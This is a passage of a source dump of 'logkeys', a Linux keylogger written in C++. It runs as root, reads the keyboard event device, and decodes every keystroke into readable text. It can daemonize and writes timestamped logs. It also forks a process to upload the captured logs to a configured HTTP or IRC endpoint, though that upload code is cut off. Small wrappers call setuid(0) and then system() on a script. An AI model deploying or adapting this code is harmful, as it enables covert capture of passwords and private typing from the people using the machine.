left of 'Z' on US layout 72 | 73 | return -1; // not character keycode 74 | } 75 | 76 | // translates function keys keycodes to continuous array indexes 77 | inline int to_func_keys_index(unsigned int keycode) 78 | { 79 | if (keycode == KEY_ESC) // 1 80 | return 0; 81 | if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB) // 14-15 82 | return keycode - 13; 83 | if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL) // 28-29 84 | return keycode - 25; 85 | if (keycode == KEY_LEFTSHIFT) return keycode - 37; // 42 86 | if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT) // 54-83 87 | return keycode - 48; 88 | if (keycode >= KEY_F11 && keycode <= KEY_F12) // 87-88 89 | return keycode - 51; 90 | if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE) // 96-111 91 | return keycode - 58; 92 | if (keycode == KEY_PAUSE) // 119 93 | return keycode - 65; 94 | if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE) // 125-127 95 | return keycode - 70; 96 | 97 | return -1; // not function key keycode 98 | } 99 | 100 | } // namespace logkeys 101 | 102 | #endif // _KEYTABLES_H_ 103 | -------------------------------------------------------------------------------- /src/llk.cc: -------------------------------------------------------------------------------- 1 | /* 2 | Copyleft (ɔ) 2009 Kernc 3 | This program is free software. It comes with absolutely no warranty whatsoever. 4 | See COPYING for further information. 5 | 6 | Project homepage: https://github.com/kernc/logkeys 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | int main() { 13 | setuid(0); 14 | exit(system(SYS_CONF_DIR "/logkeys-start.sh")); // SYS_CONF_DIR defined in CXXFLAGS in Makefile.am 15 | } 16 | -------------------------------------------------------------------------------- /src/llkk.cc: -------------------------------------------------------------------------------- 1 | /* 2 | Copyleft (ɔ) 2009 Kernc 3 | This program is free software. It comes with absolutely no warranty whatsoever. 4 | See COPYING for further information. 5 | 6 | Project homepage: https://github.com/kernc/logkeys 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | int main() { 13 | setuid(0); 14 | exit(system(SYS_CONF_DIR "/logkeys-kill.sh")); // SYS_CONF_DIR defined in CXXFLAGS in Makefile.am 15 | } 16 | -------------------------------------------------------------------------------- /src/logkeys.cc: -------------------------------------------------------------------------------- 1 | /* 2 | Copyleft (ɔ) 2009 Kernc 3 | This program is free software. It comes with absolutely no warranty whatsoever. 4 | See COPYING for further information. 5 | 6 | Project homepage: https://github.com/kernc/logkeys 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #ifdef HAVE_CONFIG_H 30 | # include // include config produced from ./configure 31 | #endif 32 | 33 | #ifndef PACKAGE_VERSION 34 | # define PACKAGE_VERSION "0.1.2" // if PACKAGE_VERSION wasn't defined in 35 | #endif 36 | 37 | // the following path-to-executable macros should be defined in config.h; 38 | #ifndef EXE_PS 39 | # define EXE_PS "/bin/ps" 40 | #endif 41 | 42 | #ifndef EXE_GREP 43 | # define EXE_GREP "/bin/grep" 44 | #endif 45 | 46 | #ifndef EXE_DUMPKEYS 47 | # define EXE_DUMPKEYS "/usr/bin/dumpkeys" 48 | #endif 49 | 50 | #define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" ) 51 | #define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() ) 52 | #define COMMAND_STR_CAPSLOCK_STATE ("{ { xset q 2>/dev/null | grep -q -E 'Caps Lock: +on'; } || { setleds 2>/dev/null | grep -q 'CapsLock on'; }; } && echo on") 53 | 54 | #define INPUT_EVENT_PATH "/dev/input/" // standard path 55 | #define DEFAULT_LOG_FILE "/var/log/logkeys.log" 56 | #define PID_FILE "/var/run/logkeys.pid" 57 | 58 | #include "usage.cc" // usage() function 59 | #include "args.cc" // global arguments struct and arguments parsing 60 | #include "keytables.cc" // character and function key tables and helper functions 61 | #include "upload.cc" // functions concerning remote uploading of log file 62 | 63 | namespace logkeys { 64 | 65 | #define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ 66 | 67 | struct key_state_t { 68 | wchar_t key; 69 | unsigned int repeats; // count_repeats differs from the actual number of repeated characters! afaik, only the OS knows how these two values are related (by respecting configured repeat speed and delay) 70 | bool repeat_end; 71 | input_event event; 72 | bool scancode_ok; 73 | bool capslock_in_effect = false; 74 | bool shift_in_effect = false; 75 | bool altgr_in_effect = false; 76 | bool ctrl_in_effect = false; // used for identifying Ctrl+C / Ctrl+D 77 | } key_state; 78 | 79 | // executes cmd and returns string ouput 80 | std::string execute(const char* cmd) 81 | { 82 | FILE* pipe = popen(cmd, "r"); 83 | if (!pipe) 84 | error(EXIT_FAILURE, errno, "Pipe error"); 85 | char buffer[128]; 86 | std::string result = ""; 87 | while(!feof(pipe)) 88 | if(fgets(buffer, 128, pipe) != NULL) 89 | result += buffer; 90 | pclose(pipe); 91 | return result; 92 | } 93 | 94 | 95 | int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it 96 | 97 | void signal_handler(int signal) 98 | { 99 | if (input_fd != -1) 100 | close(input_fd); // closing input file will break the infinite while loop 101 | } 102 | 103 | void set_utf8_locale() 104 | { 105 | // set locale to common UTF-8 for wchars to be recognized correctly 106 | if(setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) { // if en_US.UTF-8 isn't available 107 | char *locale = setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variable LC_CTYPE 108 | if (locale != NULL && 109 | (strstr(locale, "UTF-8") != NULL || strstr(locale, "UTF8") != NULL || 110 | strstr(locale, "utf-8") != NULL || strstr(locale, "utf8") != NULL) ) 111 | ; // if locale has "UTF-8" in its name, it is cool to do nothing 112 | else 113 | error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type, or you need en_US.UTF-8 availabe"); 114 | } 115 | } 116 | 117 | void exit_cleanup(int status, void *discard) 118 | { 119 | // TODO: 120 | } 121 | 122 | void create_PID_file() 123 | { 124 | // create temp file carrying PID for later retrieval 125 | int pid_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); 126 | if (pid_fd != -1) { 127 | char pid_str[16] = {0}; 128 | sprintf(pid_str, "%d", getpid()); 129 | if (write(pid_fd, pid_str, strlen(pid_str)) == -1) 130 | error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'"); 131 | close(pid_fd); 132 | } 133 | else { 134 | if (errno == EEXIST) // This should never happen 135 | error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")"); 136 | else error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'"); 137 | } 138 | } 139 | 140 | void kill_existing_process() 141 | { 142 | pid_t pid; 143 | bool via_file = true; 144 | bool via_pipe = true; 145 | FILE *temp_file = fopen(PID_FILE, "r"); 146 | 147 | via_file &= (temp_file != NULL); 148 | 149 | if (via_file) { // kill process with pid obtained from PID file 150 | via_file &= (fscanf(temp_file, "%d", &pid) == 1); 151 | fclose(temp_file); 152 | } 153 | 154 | if (!via_file) { // if reading PID from temp_file failed, try ps-grep pipe 155 | via_pipe &= (sscanf(execute(COMMAND_STR_GET_PID).c_str(), "%d", &pid) == 1); 156 | via_pipe &= (pid != getpid()); 157 | } 158 | 159 | if (via_file || via_pipe) { 160 | remove(PID_FILE); 161 | kill(pid, SIGINT); 162 | 163 | exit(EXIT_SUCCESS); // process killed successfully, exit 164 | } 165 | error(EXIT_FAILURE, 0, "No process killed"); 166 | } 167 | 168 | void set_signal_handling() 169 | { // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully 170 | struct sigaction act = {{0}}; 171 | act.sa_handler = signal_handler; 172 | sigaction(SIGHUP, &act, NULL); 173 | sigaction(SIGINT, &act, NULL); 174 | sigaction(SIGTERM, &act, NULL); 175 | // prevent child processes from becoming zombies 176 | act.sa_handler = SIG_IGN; 177 | sigaction(SIGCHLD, &act, NULL); 178 | } 179 | 180 | void determine_system_keymap() 181 | { 182 | // custom map will be used; erase existing US keymapping 183 | memset(char_keys, '\0', sizeof(char_keys)); 184 | memset(shift_keys, '\0', sizeof(shift_keys)); 185 | memset(altgr_keys, '\0', sizeof(altgr_keys)); 186 | 187 | // get keymap from dumpkeys 188 | // if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx 189 | std::stringstream ss, dump(execute(COMMAND_STR_DUMPKEYS)); // see example output after i.e. `loadkeys slovene` 190 | std::string line; 191 | 192 | unsigned int i = 0; // keycode 193 | int index; 194 | int utf8code; // utf-8 code of keysym answering keycode i 195 | 196 | while (std::getline(dump, line)) { 197 | ss.clear(); 198 | ss.str(""); 199 | utf8code = 0; 200 | 201 | // replace any U+#### with 0x#### for easier parsing 202 | index = line.find("U+", 0); 203 | while (static_cast(index) != std::string::npos) { 204 | line[index] = '0'; line[index + 1] = 'x'; 205 | index = line.find("U+", index); 206 | } 207 | 208 | if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used) 209 | if (!is_char_key(i)) continue; // only map character keys of keyboard 210 | 211 | assert(line.size() > 0); 212 | if (line[0] == 'k') { // if line starts with 'keycode' 213 | index = to_char_keys_index(i); 214 | 215 | ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ") 216 | ss >> std::hex >> utf8code; 217 | // 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly? 218 | if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; 219 | char_keys[index] = static_cast(utf8code); 220 | 221 | // if there is a second keysym column, assume it is a shift column 222 | if (ss >> std::hex >> utf8code) { 223 | if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; 224 | shift_keys[index] = static_cast(utf8code); 225 | } 226 | 227 | // if there is a third keysym column, assume it is an altgr column 228 | if (ss >> std::hex >> utf8code) { 229 | if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; 230 | altgr_keys[index] = static_cast(utf8code); 231 | } 232 | 233 | continue; 234 | } 235 | 236 | // else if line starts with 'shift i' 237 | index = to_char_keys_index(--i); 238 | ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ") 239 | ss >> std::hex >> utf8code; 240 | if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS 241 | 242 | if (line[1] == 's') // if line starts with "shift" 243 | shift_keys[index] = static_cast(utf8code); 244 | if (line[1] == 'a') // if line starts with "altgr" 245 | altgr_keys[index] = static_cast(utf8code); 246 | } // while (getline(dump, line)) 247 | } 248 | 249 | 250 | void parse_input_keymap() 251 | { 252 | // custom map will be used; erase existing US keytables 253 | memset(char_keys, '\0', sizeof(char_keys)); 254 | memset(shift_keys, '\0', sizeof(shift_keys)); 255 | memset(altgr_keys, '\0', sizeof(altgr_keys)); 256 | 257 | stdin = freopen(args.keymap.c_str(), "r", stdin); 258 | if (stdin == NULL) 259 | error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap.c_str()); 260 | 261 | unsigned int i = -1; 262 | unsigned int line_number = 0; 263 | wchar_t func_string[32]; 264 | wchar_t line[32]; 265 | 266 | while (!feof(stdin)) { 267 | 268 | if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used) 269 | 270 | if (is_used_key(i)) { 271 | ++line_number; 272 | if(fgetws(line, sizeof(line), stdin) == NULL) { 273 | if (feof(stdin)) break; 274 | else error_at_line(EXIT_FAILURE, errno, args.keymap.c_str(), line_number, "fgets() error"); 275 | } 276 | // line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n") 277 | if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()! 278 | error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Line too long!"); 279 | // terminate line before any \r or \n 280 | std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n"); 281 | if (last == std::wstring::npos) 282 | error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "No characters on line"); 283 | line[last + 1] = '\0'; 284 | } 285 | 286 | if (is_char_key(i)) { 287 | unsigned int index = to_char_keys_index(i); 288 | if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) { 289 | error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Too few input characters on line"); 290 | } 291 | } 292 | if (is_func_key(i)) { 293 | if (i == KEY_SPACE) continue; // space causes empty string and trouble 294 | if (swscanf(line, L"%7ls", &func_string[0]) != 1) 295 | error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Invalid function key string"); // does this ever happen? 296 | wcscpy(func_keys[to_func_keys_index(i)], func_string); 297 | } 298 | } // while (!feof(stdin)) 299 | fclose(stdin); 300 | 301 | if (line_number < N_KEYS_DEFINED) 302 | #define QUOTE(x) #x // quotes x so it can be used as (char*) 303 | error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap.c_str()); 304 | } 305 | 306 | void export_keymap_to_file() 307 | { 308 | int keymap_fd = open(args.keymap.c_str(), O_CREAT | O_EXCL | O_WRONLY, 0644); 309 | if (keymap_fd == -1) 310 | error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap.c_str()); 311 | char buffer[32]; 312 | int buflen = 0; 313 | unsigned int index; 314 | for (unsigned int i = 0; i < sizeof(char_or_func); ++i) { 315 | buflen = 0; 316 | if (is_char_key(i)) { 317 | index = to_char_keys_index(i); 318 | // only export non-null characters 319 | if (char_keys[index] != L'\0' && 320 | shift_keys[index] != L'\0' && 321 | altgr_keys[index] != L'\0') 322 | buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]); 323 | else if (char_keys[index] != L'\0' && 324 | shift_keys[index] != L'\0') 325 | buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]); 326 | else if (char_keys[index] != L'\0') 327 | buflen = sprintf(buffer, "%lc\n", char_keys[index]); 328 | else // if all \0, export nothing on that line (=keymap will not parse) 329 | buflen = sprintf(buffer, "\n"); 330 | } 331 | else if (is_func_key(i)) { 332 | buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]); 333 | } 334 | 335 | if (is_used_key(i)) 336 | if (write(keymap_fd, buffer, buflen) < buflen) 337 | error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap.c_str()); 338 | } 339 | close(keymap_fd); 340 | error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap.c_str()); 341 | exit(EXIT_SUCCESS); 342 | } 343 | 344 | void determine_input_device() 345 | { 346 | // better be safe than sory: while running other programs, switch user to nobody 347 | setegid(65534); seteuid(65534); 348 | 349 | //Look for devices with keybit bitmask that has keys a keyboard doeas 350 | //If a bitmask ends with 'e', it supports KEY_2, KEY_1, KEY_ESC, and KEY_RESERVED is set to 0, so it's probably a keyboard 351 | //keybit: https://github.com/torvalds/linux/blob/02de58b24d2e1b2cf947d57205bd2221d897193c/include/linux/input.h#L45 352 | //keycodes: https://github.com/torvalds/linux/blob/139711f033f636cc78b6aaf7363252241b9698ef/include/uapi/linux/input-event-codes.h#L75 353 | //Take the Name, Handlers, and KEY values 354 | const char* cmd = EXE_GREP " -B8 -E 'KEY=.*e$' /proc/bus/input/devices | " 355 | EXE_GREP " -E 'Name|Handlers|KEY' "; 356 | std::stringstream output(execute(cmd)); 357 | 358 | std::vector devices; 359 | std::vector scores; 360 | std::string line; 361 | 362 | unsigned short line_type = 0; 363 | unsigned short score = 0; 364 | 365 | while(std::getline(output, line)) { 366 | transform(line.begin(), line.end(), line.begin(), ::tolower); 367 | 368 | //Generate score based on device name 369 | if(line_type == 0){ 370 | if (line.find("keyboard") != std::string::npos){ 371 | score += 100; 372 | } 373 | } 374 | //Add the event handler 375 | else if(line_type == 1){ 376 | std::string::size_type i = line.find("event"); 377 | if (i != std::string::npos) i += 5; // "event".size() == 5 378 | if (i < line.size()) { 379 | int index = atoi(&line.c_str()[i]); 380 | 381 | if (index != -1) { 382 | std::stringstream input_dev_path; 383 | input_dev_path << INPUT_EVENT_PATH; 384 | input_dev_path << "event"; 385 | input_dev_path << index; 386 | 387 | devices.push_back(input_dev_path.str()); 388 | } 389 | } 390 | } 391 | //Generate score based on size of key bitmask 392 | else if(line_type == 2){ 393 | std::string::size_type i = line.find("="); 394 | std::string full_key_map = line.substr(i + 1); 395 | score += full_key_map.length(); 396 | scores.push_back(score); 397 | score = 0; 398 | } 399 | line_type = (line_type + 1) % 3; 400 | } 401 | 402 | if (devices.size() == 0) { 403 | error(0, 0, "Couldn't determine keyboard device. :/"); 404 | error(EXIT_FAILURE, 0, "Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks!"); 405 | } 406 | 407 | //Choose device with the best score 408 | int max_device = std::max_element(scores.begin(), scores.end()) - scores.begin(); 409 | args.device = devices[max_device]; // for now, use only the first found device 410 | 411 | // now we reclaim those root privileges 412 | seteuid(0); setegid(0); 413 | } 414 | 415 | 416 | bool update_key_state() 417 | { 418 | // these event.value-s aren't defined in ? 419 | #define EV_MAKE 1 // when key pressed 420 | #define EV_BREAK 0 // when key released 421 | #define EV_REPEAT 2 // when key switches to repeating after short delay 422 | 423 | if (read(input_fd, &key_state.event, sizeof(struct input_event)) <= 0) { 424 | return false; 425 | } 426 | if (key_state.event.type != EV_KEY) 427 | return update_key_state(); // keyboard events are always of type EV_KEY 428 | 429 | unsigned short scan_code = key_state.event.code; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see ) 430 | 431 | key_state.repeat_end = false; 432 | if (key_state.event.value == EV_REPEAT) { 433 | key_state.repeats++; 434 | return true; 435 | } 436 | else if (key_state.event.value == EV_BREAK) { 437 | if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) 438 | key_state.shift_in_effect = false; 439 | else if (scan_code == KEY_RIGHTALT) 440 | key_state.altgr_in_effect = false; 441 | else if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) 442 | key_state.ctrl_in_effect = false; 443 | 444 | key_state.repeat_end = key_state.repeats > 0; 445 | if (key_state.repeat_end) 446 | return true; 447 | else 448 | return update_key_state(); 449 | } 450 | key_state.repeats = 0; 451 | 452 | key_state.scancode_ok = scan_code < sizeof(char_or_func); 453 | if (!key_state.scancode_ok) 454 | return true; 455 | 456 | key_state.key = 0; 457 | 458 | if (key_state.event.value != EV_MAKE) 459 | return update_key_state(); 460 | 461 | switch (scan_code) { 462 | case KEY_CAPSLOCK: 463 | key_state.capslock_in_effect = !key_state.capslock_in_effect; 464 | break; 465 | case KEY_LEFTSHIFT: 466 | case KEY_RIGHTSHIFT: 467 | key_state.shift_in_effect = true; 468 | break; 469 | case KEY_RIGHTALT: 470 | key_state.altgr_in_effect = true; 471 | break; 472 | case KEY_LEFTCTRL: 473 | case KEY_RIGHTCTRL: 474 | key_state.ctrl_in_effect = true; 475 | break; 476 | default: 477 | if (is_char_key(scan_code)) { 478 | wchar_t wch; 479 | if (key_state.altgr_in_effect) { 480 | wch = altgr_keys[to_char_keys_index(scan_code)]; 481 | if (wch == L'\0') { 482 | if(key_state.shift_in_effect) 483 | wch = shift_keys[to_char_keys_index(scan_code)]; 484 | else 485 | wch = char_keys[to_char_keys_index(scan_code)]; 486 | } 487 | } 488 | 489 | else if (key_state.capslock_in_effect && iswalpha(char_keys[to_char_keys_index(scan_code)])) { // only bother with capslock if alpha 490 | if (key_state.shift_in_effect) // capslock and shift cancel each other 491 | wch = char_keys[to_char_keys_index(scan_code)]; 492 | else 493 | wch = shift_keys[to_char_keys_index(scan_code)]; 494 | if (wch == L'\0') 495 | wch = char_keys[to_char_keys_index(scan_code)]; 496 | } 497 | 498 | else if (key_state.shift_in_effect) { 499 | wch = shift_keys[to_char_keys_index(scan_code)]; 500 | if (wch == L'\0') 501 | wch = char_keys[to_char_keys_index(scan_code)]; 502 | } 503 | else // neither altgr nor shift are effective, this is a normal char 504 | wch = char_keys[to_char_keys_index(scan_code)]; 505 | 506 | key_state.key = wch; 507 | } 508 | } 509 | return true; 510 | } 511 | 512 | 513 | FILE* open_log_file() 514 | { 515 | // open log file (if file doesn't exist, create it with safe 0600 permissions) 516 | umask(0177); 517 | FILE *out = NULL; 518 | if (args.logfile == "-") { 519 | out = stdout; 520 | } 521 | else { 522 | out = fopen(args.logfile.c_str(), "a"); 523 | } 524 | if (!out) 525 | error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str()); 526 | return out; 527 | } 528 | 529 | 530 | // Writes event to log file and returns the increased file size 531 | int log_event(FILE *out) 532 | { 533 | int inc_size = 0; 534 | unsigned short scan_code = key_state.event.code; 535 | char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > " 536 | 537 | if (!key_state.scancode_ok) { // keycode out of range, log error 538 | inc_size += fprintf(out, "", scan_code); 539 | return inc_size; 540 | } 541 | 542 | if (key_state.repeats) { 543 | if (key_state.repeat_end) { 544 | if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(key_state.event.code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either 545 | else { 546 | inc_size += fprintf(out, "<#+%d>", key_state.repeats); 547 | fflush(out); 548 | } 549 | } 550 | return inc_size; 551 | } 552 | 553 | // on key press 554 | if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || 555 | (key_state.ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D)) || 556 | args.timestamp_every) { 557 | // on ENTER key or Ctrl+C/Ctrl+D event append timestamp 558 | if (key_state.ctrl_in_effect) 559 | inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D 560 | if (args.flags & FLAG_NO_TIMESTAMPS) 561 | inc_size += fprintf(out, "\n"); 562 | else { 563 | strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&key_state.event.time.tv_sec)); 564 | inc_size += fprintf(out, "%s", timestamp); // then newline and timestamp 565 | } 566 | } 567 | if (is_char_key(scan_code)) { 568 | // print character or string corresponding to received keycode; only print chars when not \0 569 | if (key_state.key != L'\0') inc_size += fprintf(out, "%lc", key_state.key); // write character to log file 570 | } 571 | else if (is_func_key(scan_code)) { 572 | if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested 573 | inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); 574 | } 575 | else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { 576 | inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys 577 | } 578 | } 579 | else inc_size += fprintf(out, "", scan_code); // keycode is neither of character nor function, log error 580 | 581 | fflush(out); 582 | return inc_size; 583 | } 584 | 585 | 586 | void post_log(FILE *out) 587 | { 588 | fclose(out); 589 | 590 | std::stringstream ss; 591 | for (int i = 1;; ++i) { 592 | ss.clear(); 593 | ss.str(""); 594 | ss << args.logfile << "." << i; 595 | struct stat st; 596 | if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist 597 | } 598 | 599 | if (rename(args.logfile.c_str(), ss.str().c_str()) == -1) // move current log file to indexed 600 | error(EXIT_FAILURE, errno, "Error renaming logfile"); 601 | 602 | out = fopen(args.logfile.c_str(), "a"); // open empty log file with the same name 603 | if (!out) 604 | error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str()); 605 | 606 | if (!args.http_url.empty() || !args.irc_server.empty()) { 607 | switch (fork()) { 608 | case -1: error(0, errno, "Error while forking remote-posting process"); 609 | case 0: 610 | start_remote_upload(); // child process will upload the .log.i files 611 | exit(EXIT_SUCCESS); 612 | } 613 | } 614 | } 615 | 616 | 617 | // returns output file in case a new one was created so caller can close it properly 618 | void log_loop() 619 | { 620 | char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > " 621 | FILE *out = open_log_file(); 622 | 623 | struct stat st; 624 | stat(args.logfile.c_str(), &st); 625 | off_t file_size = st.st_size; // log file is currently file_size bytes "big" 626 | 627 | time_t cur_time; 628 | time(&cur_time); 629 | strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); 630 | 631 | if (args.flags & FLAG_NO_TIMESTAMPS) 632 | file_size += fprintf(out, "Logging started at %s\n\n", timestamp); 633 | else 634 | file_size += fprintf(out, "Logging started ...\n\n%s", timestamp); 635 | fflush(out); 636 | 637 | // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) 638 | while (update_key_state()) { 639 | int inc_size = log_event(out); 640 | if (inc_size > 0) file_size += inc_size; 641 | 642 | // if remote posting is enabled and size threshold is reached 643 | if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) { 644 | post_log(out); 645 | return log_loop(); 646 | } 647 | } 648 | 649 | // append final timestamp, close files and exit 650 | time(&cur_time); 651 | strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time)); 652 | fprintf(out, "\n\nLogging stopped at %s\n\n", timestamp); 653 | fclose(out); 654 | } 655 | 656 | 657 | int main(int argc, char **argv) 658 | { 659 | on_exit(exit_cleanup, NULL); 660 | 661 | 662 | args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified 663 | 664 | process_command_line_arguments(argc, argv); 665 | 666 | if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?"); 667 | // kill existing logkeys process 668 | if (args.kill) kill_existing_process(); 669 | 670 | // if neither start nor export, that must be an error 671 | if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); } 672 | 673 | // if posting remote and post_size not set, set post_size to default [500K bytes] 674 | if (args.post_size == 0 && (!args.http_url.empty() || !args.irc_server.empty())) { 675 | args.post_size = 500000; 676 | } 677 | 678 | // check for incompatible flags 679 | if (!args.keymap.empty() && (!(args.flags & FLAG_EXPORT_KEYMAP) && args.us_keymap)) { // exporting uses args.keymap also 680 | error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage."); 681 | } 682 | 683 | // check for incompatible flags: if posting remote and output is set to stdout 684 | if (args.post_size != 0 && ( args.logfile == "-" )) { 685 | error(EXIT_FAILURE, 0, "Incompatible flags [--post-size | --post-http] and --output to stdout"); 686 | } 687 | 688 | set_utf8_locale(); 689 | 690 | if (args.flags & FLAG_EXPORT_KEYMAP) { 691 | if (!args.us_keymap) 692 | determine_system_keymap(); 693 | export_keymap_to_file(); 694 | // = exit(0) 695 | } 696 | else if (!args.keymap.empty()) // custom keymap in use 697 | parse_input_keymap(); 698 | else 699 | determine_system_keymap(); 700 | 701 | if (args.device.empty()) { // no device given with -d switch 702 | determine_input_device(); 703 | } 704 | else { // event device supplied as -d argument 705 | std::string::size_type i = args.device.find_last_of('/'); 706 | args.device = (std::string(INPUT_EVENT_PATH) + args.device.substr(i == std::string::npos ? 0 : i + 1)); 707 | } 708 | 709 | set_signal_handling(); 710 | 711 | close(STDIN_FILENO); 712 | // leave stderr open 713 | if (args.logfile != "-") { 714 | close(STDOUT_FILENO); 715 | } 716 | 717 | // open input device for reading 718 | input_fd = open(args.device.c_str(), O_RDONLY); 719 | if (input_fd == -1) { 720 | error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device.c_str()); 721 | } 722 | 723 | // if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't! 724 | if (args.logfile == DEFAULT_LOG_FILE) { 725 | seteuid(getuid()); 726 | setegid(getgid()); 727 | } 728 | 729 | if (access(PID_FILE, F_OK) != -1) // PID file already exists 730 | error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")"); 731 | 732 | if (!(args.flags & FLAG_NO_DAEMON)) { 733 | int nochdir = 1; // don't change cwd to root (allow relative output file paths) 734 | int noclose = 1; // don't close streams (stderr used) 735 | if (daemon(nochdir, noclose) == -1) // become daemon 736 | error(EXIT_FAILURE, errno, "Failed to become daemon"); 737 | } 738 | 739 | // now we need those privileges back in order to create system-wide PID_FILE 740 | seteuid(0); setegid(0); 741 | if (!(args.flags & FLAG_NO_DAEMON)) { 742 | create_PID_file(); 743 | } 744 | 745 | // now we've got everything we need, finally drop privileges by becoming 'nobody' 746 | //setegid(65534); seteuid(65534); // commented-out, I forgot why xD 747 | 748 | key_state.capslock_in_effect = execute(COMMAND_STR_CAPSLOCK_STATE).size() >= 2; 749 | 750 | log_loop(); 751 | 752 | remove(PID_FILE); 753 | 754 | exit(EXIT_SUCCESS); 755 | } // main() 756 | 757 | } // namespace logkeys 758 | 759 | int main(int argc, char** argv) 760 | { 761 | return logkeys::main(argc, argv); 762 | } 763 | -------------------------------------------------------------------------------- /src/upload.cc: -------------------------------------------------------------------------------- 1 | /* 2 | Copyleft (ɔ) 2009 Kernc 3 | This program is free software. It comes with absolutely no warranty whatsoever. 4 | See COPYING for further information. 5 | 6 | Project homepage: https://github.com/kernc/logkeys 7 | */ 8 | 9 | #ifndef _UPLOAD_H_ 10 | #define _UPLOAD_H_ 11 | 12 | #define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid" // pid file for 